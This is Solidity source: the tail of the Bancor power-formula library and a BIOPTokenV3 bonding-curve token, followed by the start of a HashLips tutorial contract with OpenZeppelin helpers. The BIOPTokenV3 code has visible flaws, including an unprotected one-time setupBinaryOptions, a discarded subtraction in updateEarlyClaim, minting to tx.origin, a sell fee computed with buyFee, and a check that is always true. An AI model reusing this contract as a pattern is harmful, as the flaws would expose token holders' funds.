maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff;
maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff;
maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff;
maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff;
maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff;
maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff;
maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf;
maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df;
maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f;
maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037;
maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf;
maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9;
maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6;
}
/**
General Description:
Determine a value of precision.
Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision.
Return the result along with the precision used.
Detailed Description:
Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)".
The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision".
The larger "precision" is, the more accurately this value represents the real value.
However, the larger "precision" is, the more bits are required in order to store this value.
And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x").
This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function.
This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations.
This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul".
*/
function power(
uint256 _baseN,
uint256 _baseD,
uint32 _expN,
uint32 _expD
) internal view returns (uint256, uint8)
{
require(_baseN < MAX_NUM, "baseN exceeds max value.");
require(_baseN >= _baseD, "Bases < 1 are not supported.");
uint256 baseLog;
uint256 base = _baseN * FIXED_1 / _baseD;
if (base < OPT_LOG_MAX_VAL) {
baseLog = optimalLog(base);
} else {
baseLog = generalLog(base);
}
uint256 baseLogTimesExp = baseLog * _expN / _expD;
if (baseLogTimesExp < OPT_EXP_MAX_VAL) {
return (optimalExp(baseLogTimesExp), MAX_PRECISION);
} else {
uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);
return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision);
}
}
/**
Compute log(x / FIXED_1) * FIXED_1.
This functions assumes that "x >= FIXED_1", because the output would be negative otherwise.
*/
function generalLog(uint256 _x) internal pure returns (uint256) {
uint256 res = 0;
uint256 x = _x;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += ONE << (i - 1);
}
}
}
return res * LN2_NUMERATOR / LN2_DENOMINATOR;
}
/**
Compute the largest integer smaller than or equal to the binary logarithm of the input.
*/
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
uint256 n = _n;
if (n < 256) {
// At most 8 iterations
while (n > 1) {
n >>= 1;
res += 1;
}
} else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (n >= (ONE << s)) {
n >>= s;
res |= s;
}
}
}
return res;
}
/**
The global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent:
- This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"]
- This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"]
*/
function findPositionInMaxExpArray(uint256 _x)
internal view returns (uint8)
{
uint8 lo = MIN_PRECISION;
uint8 hi = MAX_PRECISION;
while (lo + 1 < hi) {
uint8 mid = (lo + hi) / 2;
if (maxExpArray[mid] >= _x)
lo = mid;
else
hi = mid;
}
if (maxExpArray[hi] >= _x)
return hi;
if (maxExpArray[lo] >= _x)
return lo;
assert(false);
return 0;
}
/* solhint-disable */
/**
This function can be auto-generated by the script 'PrintFunctionGeneralExp.py'.
It approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!".
It returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy.
The global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1".
The maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
*/
function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision; res += xi * 0x3442c4e6074a82f1797f72ac0000000; // add x^02 * (33! / 02!)
xi = (xi * _x) >> _precision; res += xi * 0x116b96f757c380fb287fd0e40000000; // add x^03 * (33! / 03!)
xi = (xi * _x) >> _precision; res += xi * 0x045ae5bdd5f0e03eca1ff4390000000; // add x^04 * (33! / 04!)
xi = (xi * _x) >> _precision; res += xi * 0x00defabf91302cd95b9ffda50000000; // add x^05 * (33! / 05!)
xi = (xi * _x) >> _precision; res += xi * 0x002529ca9832b22439efff9b8000000; // add x^06 * (33! / 06!)
xi = (xi * _x) >> _precision; res += xi * 0x00054f1cf12bd04e516b6da88000000; // add x^07 * (33! / 07!)
xi = (xi * _x) >> _precision; res += xi * 0x0000a9e39e257a09ca2d6db51000000; // add x^08 * (33! / 08!)
xi = (xi * _x) >> _precision; res += xi * 0x000012e066e7b839fa050c309000000; // add x^09 * (33! / 09!)
xi = (xi * _x) >> _precision; res += xi * 0x000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!)
xi = (xi * _x) >> _precision; res += xi * 0x0000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!)
xi = (xi * _x) >> _precision; res += xi * 0x00000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000048177ebe1fa812375200000; // add x^13 * (33! / 13!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000057e22099c030d94100000; // add x^15 * (33! / 15!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000057e22099c030d9410000; // add x^16 * (33! / 16!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000052b6b54569976310000; // add x^17 * (33! / 17!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000004985f67696bf748000; // add x^18 * (33! / 18!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000003dea12ea99e498000; // add x^19 * (33! / 19!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000031880f2214b6e000; // add x^20 * (33! / 20!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000025bcff56eb36000; // add x^21 * (33! / 21!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000001b722e10ab1000; // add x^22 * (33! / 22!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000001317c70077000; // add x^23 * (33! / 23!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000cba84aafa00; // add x^24 * (33! / 24!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000082573a0a00; // add x^25 * (33! / 25!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000005035ad900; // add x^26 * (33! / 26!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000000000002f881b00; // add x^27 * (33! / 27!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000001b29340; // add x^28 * (33! / 28!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000000000efc40; // add x^29 * (33! / 29!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000007fe0; // add x^30 * (33! / 30!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000420; // add x^31 * (33! / 31!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000021; // add x^32 * (33! / 32!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000001; // add x^33 * (33! / 33!)
return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0!
}
/**
Return log(x / FIXED_1) * FIXED_1
Input range: FIXED_1 <= x <= LOG_EXP_MAX_VAL - 1
Auto-generated via 'PrintFunctionOptimalLog.py'
*/
function optimalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
uint256 w;
if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {res += 0x40000000000000000000000000000000; x = x * FIXED_1 / 0xd3094c70f034de4b96ff7d5b6f99fcd8;}
if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {res += 0x20000000000000000000000000000000; x = x * FIXED_1 / 0xa45af1e1f40c333b3de1db4dd55f29a7;}
if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {res += 0x10000000000000000000000000000000; x = x * FIXED_1 / 0x910b022db7ae67ce76b441c27035c6a1;}
if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {res += 0x08000000000000000000000000000000; x = x * FIXED_1 / 0x88415abbe9a76bead8d00cf112e4d4a8;}
if (x >= 0x84102b00893f64c705e841d5d4064bd3) {res += 0x04000000000000000000000000000000; x = x * FIXED_1 / 0x84102b00893f64c705e841d5d4064bd3;}
if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {res += 0x02000000000000000000000000000000; x = x * FIXED_1 / 0x8204055aaef1c8bd5c3259f4822735a2;}
if (x >= 0x810100ab00222d861931c15e39b44e99) {res += 0x01000000000000000000000000000000; x = x * FIXED_1 / 0x810100ab00222d861931c15e39b44e99;}
if (x >= 0x808040155aabbbe9451521693554f733) {res += 0x00800000000000000000000000000000; x = x * FIXED_1 / 0x808040155aabbbe9451521693554f733;}
z = y = x - FIXED_1;
w = y * y / FIXED_1;
res += z * (0x100000000000000000000000000000000 - y) / 0x100000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y) / 0x200000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x099999999999999999999999999999999 - y) / 0x300000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x092492492492492492492492492492492 - y) / 0x400000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x08e38e38e38e38e38e38e38e38e38e38e - y) / 0x500000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y) / 0x600000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x089d89d89d89d89d89d89d89d89d89d89 - y) / 0x700000000000000000000000000000000; z = z * w / FIXED_1;
res += z * (0x088888888888888888888888888888888 - y) / 0x800000000000000000000000000000000;
return res;
}
/**
Return e ^ (x / FIXED_1) * FIXED_1
Input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
Auto-generated via 'PrintFunctionOptimalExp.py'
*/
function optimalExp(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000;
z = z * y / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = z * y / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = z * y / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = z * y / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = z * y / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = z * y / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = z * y / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = z * y / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = z * y / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = z * y / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = z * y / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = z * y / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = z * y / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = z * y / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = z * y / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = z * y / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = z * y / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = z * y / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = z * y / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0) res = res * 0x1c3d6a24ed82218787d624d3e5eba95f9 / 0x18ebef9eac820ae8682b9793ac6d1e776;
if ((x & 0x020000000000000000000000000000000) != 0) res = res * 0x18ebef9eac820ae8682b9793ac6d1e778 / 0x1368b2fc6f9609fe7aceb46aa619baed4;
if ((x & 0x040000000000000000000000000000000) != 0) res = res * 0x1368b2fc6f9609fe7aceb46aa619baed5 / 0x0bc5ab1b16779be3575bd8f0520a9f21f;
if ((x & 0x080000000000000000000000000000000) != 0) res = res * 0x0bc5ab1b16779be3575bd8f0520a9f21e / 0x0454aaa8efe072e7f6ddbab84b40a55c9;
if ((x & 0x100000000000000000000000000000000) != 0) res = res * 0x0454aaa8efe072e7f6ddbab84b40a55c5 / 0x00960aadc109e7a3bf4578099615711ea;
if ((x & 0x200000000000000000000000000000000) != 0) res = res * 0x00960aadc109e7a3bf4578099615711d7 / 0x0002bf84208204f5977f9a8cf01fdce3d;
if ((x & 0x400000000000000000000000000000000) != 0) res = res * 0x0002bf84208204f5977f9a8cf01fdc307 / 0x0000003c6ab775dd0b95b4cbee7e65d11;
return res;
}
/* solhint-enable */
}
/**
* @title Bancor formula by Bancor
*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements;
* and to You under the Apache License, Version 2.0. "
*/
contract BancorFormula is Power {
using SafeMath for uint256;
uint32 private constant MAX_RESERVE_RATIO = 1000000;
/**
* @dev given a continuous token supply, reserve token balance, reserve ratio, and a deposit amount (in the reserve token),
* calculates the return for a given conversion (in the continuous token)
*
* Formula:
* Return = _supply * ((1 + _depositAmount / _reserveBalance) ^ (_reserveRatio / MAX_RESERVE_RATIO) - 1)
*
* @param _supply continuous token total supply
* @param _reserveBalance total reserve token balance
* @param _reserveRatio reserve ratio, represented in ppm, 1-1000000
* @param _depositAmount deposit amount, in reserve token
*
* @return purchase return amount
*/
function calculatePurchaseReturn(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _depositAmount) public view returns (uint256)
{
// validate input
require(_supply > 0 && _reserveBalance > 0 && _reserveRatio > 0 && _reserveRatio <= MAX_RESERVE_RATIO, "Invalid inputs.");
// special case for 0 deposit amount
if (_depositAmount == 0) {
return 0;
}
// special case if the ratio = 100%
if (_reserveRatio == MAX_RESERVE_RATIO) {
return _supply.mul(_depositAmount).div(_reserveBalance);
}
uint256 result;
uint8 precision;
uint256 baseN = _depositAmount.add(_reserveBalance);
(result, precision) = power(
baseN, _reserveBalance, _reserveRatio, MAX_RESERVE_RATIO
);
uint256 newTokenSupply = _supply.mul(result) >> precision;
return newTokenSupply.sub(_supply);
}
/**
* @dev given a continuous token supply, reserve token balance, reserve ratio and a sell amount (in the continuous token),
* calculates the return for a given conversion (in the reserve token)
*
* Formula:
* Return = _reserveBalance * (1 - (1 - _sellAmount / _supply) ^ (1 / (_reserveRatio / MAX_RESERVE_RATIO)))
*
* @param _supply continuous token total supply
* @param _reserveBalance total reserve token balance
* @param _reserveRatio constant reserve ratio, represented in ppm, 1-1000000
* @param _sellAmount sell amount, in the continuous token itself
*
* @return sale return amount
*/
function calculateSaleReturn(
uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _sellAmount) public view returns (uint256)
{
// validate input
require(_supply > 0 && _reserveBalance > 0 && _reserveRatio > 0 && _reserveRatio <= MAX_RESERVE_RATIO && _sellAmount <= _supply, "Invalid inputs.");
// special case for 0 sell amount
if (_sellAmount == 0) {
return 0;
}
// special case for selling the entire supply
if (_sellAmount == _supply) {
return _reserveBalance;
}
// special case if the ratio = 100%
if (_reserveRatio == MAX_RESERVE_RATIO) {
return _reserveBalance.mul(_sellAmount).div(_supply);
}
uint256 result;
uint8 precision;
uint256 baseD = _supply.sub(_sellAmount);
(result, precision) = power(
_supply, baseD, MAX_RESERVE_RATIO, _reserveRatio
);
uint256 oldBalance = _reserveBalance.mul(result);
uint256 newBalance = _reserveBalance << precision;
return oldBalance.sub(newBalance).div(result);
}
}
interface IBondingCurve {
/**
* @dev Given a reserve token amount, calculates the amount of continuous tokens returned.
*/
function getContinuousMintReward(uint _reserveTokenAmount) external view returns (uint);
/**
* @dev Given a continuous token amount, calculates the amount of reserve tokens returned.
*/
function getContinuousBurnRefund(uint _continuousTokenAmount) external view returns (uint);
}
abstract contract BancorBondingCurve is IBondingCurve, BancorFormula {
/*
reserve ratio, represented in ppm, 1-1000000
1/3 corresponds to y= multiple * x^2
1/2 corresponds to y= multiple * x
2/3 corresponds to y= multiple * x^1/2
*/
uint32 public reserveRatio;
constructor(uint32 _reserveRatio) public {
reserveRatio = _reserveRatio;
}
function getContinuousMintReward(uint _reserveTokenAmount) public override view returns (uint) {
return calculatePurchaseReturn(continuousSupply(), reserveBalance(), reserveRatio, _reserveTokenAmount);
}
function getContinuousBurnRefund(uint _continuousTokenAmount) public override view returns (uint) {
return calculateSaleReturn(continuousSupply(), reserveBalance(), reserveRatio, _continuousTokenAmount);
}
/**
* @dev Abstract method that returns continuous token supply
*/
function continuousSupply() public virtual view returns (uint);
/**
* @dev Abstract method that returns reserve token balance
*/
function reserveBalance() public virtual view returns (uint);
}
contract BIOPTokenV3 is BancorBondingCurve, ERC20 {
using SafeMath for uint256;
address public bO = 0x0000000000000000000000000000000000000000;//binary options
address payable gov = 0x0000000000000000000000000000000000000000;
address payable owner;
address public v2;
uint256 lEnd;//launch end
uint256 public tCA = 750000000000000000000000000000;//total claims available
uint256 public tbca = 400000000000000000000000000000;//total bonding curve available
bool public binaryOptionsSet = false;
uint256 public soldAmount = 0;
uint256 public buyFee = 2;//10th of percent
uint256 public sellFee = 0;//10th of percent
constructor(string memory name_, string memory symbol_, address v2_, uint32 _reserveRatio) public ERC20(name_, symbol_) BancorBondingCurve(_reserveRatio) {
owner = msg.sender;
v2 = v2_;
lEnd = block.timestamp + 3 days;
_mint(msg.sender, 100000);
soldAmount = 100000;
}
modifier onlyBinaryOptions() {
require(bO == msg.sender, "Ownable: caller is not the Binary Options Contract");
_;
}
modifier onlyGov() {
if (gov == 0x0000000000000000000000000000000000000000) {
require(owner == msg.sender, "Ownable: caller is not the owner");
} else {
require(gov == msg.sender, "Ownable: caller is not the owner");
}
_;
}
/**
* @dev a one time function to setup governance
* @param g_ the new governance address
*/
function transferGovernance(address payable g_) external onlyGov {
require(gov == 0x0000000000000000000000000000000000000000);
require(g_ != 0x0000000000000000000000000000000000000000);
gov = g_;
}
/**
* @dev set the fee users pay in ETH to buy BIOP from the bonding curve
* @param newFee_ the new fee (in tenth percent) for buying on the curve
*/
function updateBuyFee(uint256 newFee_) external onlyGov {
require(newFee_ > 0 && newFee_ < 40, "invalid fee");
buyFee = newFee_;
}
/**
* @dev set the fee users pay in ETH to sell BIOP to the bonding curve
* @param newFee_ the new fee (in tenth percent) for selling on the curve
**/
function updateSellFee(uint256 newFee_) external onlyGov {
require(newFee_ > 0 && newFee_ < 40, "invalid fee");
sellFee = newFee_;
}
/**
* @dev called by the binary options contract to update a users Reward claim
* @param amount the amount in BIOP to add to this users pending claims
**/
function updateEarlyClaim(uint256 amount) external onlyBinaryOptions {
require(tCA.sub(amount) >= 0, "insufficent claims available");
if (lEnd < block.timestamp) {
tCA = tCA.sub(amount);
_mint(tx.origin, amount.mul(4));
} else {
tCA.sub(amount);
_mint(tx.origin, amount);
}
}
/**
* @notice one time function used at deployment to configure the connected binary options contract
* @param options_ the address of the binary options contract
*/
function setupBinaryOptions(address payable options_) external {
require(binaryOptionsSet != true, "binary options is already set");
bO = options_;
binaryOptionsSet = true;
}
/**
* @dev one time swap of v2 to v3 tokens
* @notice all v2 tokens will be swapped to v3. This cannot be undone
*/
function swapv2v3() external {
BIOPToken b2 = BIOPToken(v2);
uint256 balance = b2.balanceOf(msg.sender);
require(balance >= 0, "insufficent biopv2 balance");
require(b2.transferFrom(msg.sender, address(this), balance), "staking failed");
_mint(msg.sender, balance);
}
//bonding curve functions
/**
* @dev method that returns BIOP amount sold by curve
*/
function continuousSupply() public override view returns (uint) {
return soldAmount;
}
/**
* @dev method that returns curves ETH (reserve) balance
*/
function reserveBalance() public override view returns (uint) {
return address(this).balance;
}
/**
* @notice purchase BIOP from the bonding curve.
the amount you get is based on the amount in the pool and the amount of eth u send.
*/
function buy() public payable {
uint256 purchaseAmount = msg.value;
if (buyFee > 0) {
uint256 fee = purchaseAmount.div(buyFee).div(100);
if (gov == 0x0000000000000000000000000000000000000000) {
require(owner.send(fee), "buy fee transfer failed");
} else {
require(gov.send(fee), "buy fee transfer failed");
}
purchaseAmount = purchaseAmount.sub(fee);
}
uint rewardAmount = getContinuousMintReward(purchaseAmount);
require(soldAmount.add(rewardAmount) <= tbca, "maximum curve minted");
_mint(msg.sender, rewardAmount);
soldAmount = soldAmount.add(rewardAmount);
}
/**
* @notice sell BIOP to the bonding curve
* @param amount the amount of BIOP to sell
*/
function sell(uint256 amount) public returns (uint256){
require(balanceOf(msg.sender) >= amount, "insufficent BIOP balance");
uint256 ethToSend = getContinuousBurnRefund(amount);
if (sellFee > 0) {
uint256 fee = ethToSend.div(buyFee).div(100);
if (gov == 0x0000000000000000000000000000000000000000) {
require(owner.send(fee), "buy fee transfer failed");
} else {
require(gov.send(fee), "buy fee transfer failed");
}
ethToSend = ethToSend.sub(fee);
}
soldAmount = soldAmount.sub(amount);
_burn(msg.sender, amount);
require(msg.sender.send(ethToSend), "transfer failed");
return ethToSend;
}
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/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
// SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
The developer will not be responsible or liable for all loss or
damage whatsoever caused by you participating in any way in the
experimental code, whether putting money into the contract or
using the code for your own project.
*/
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
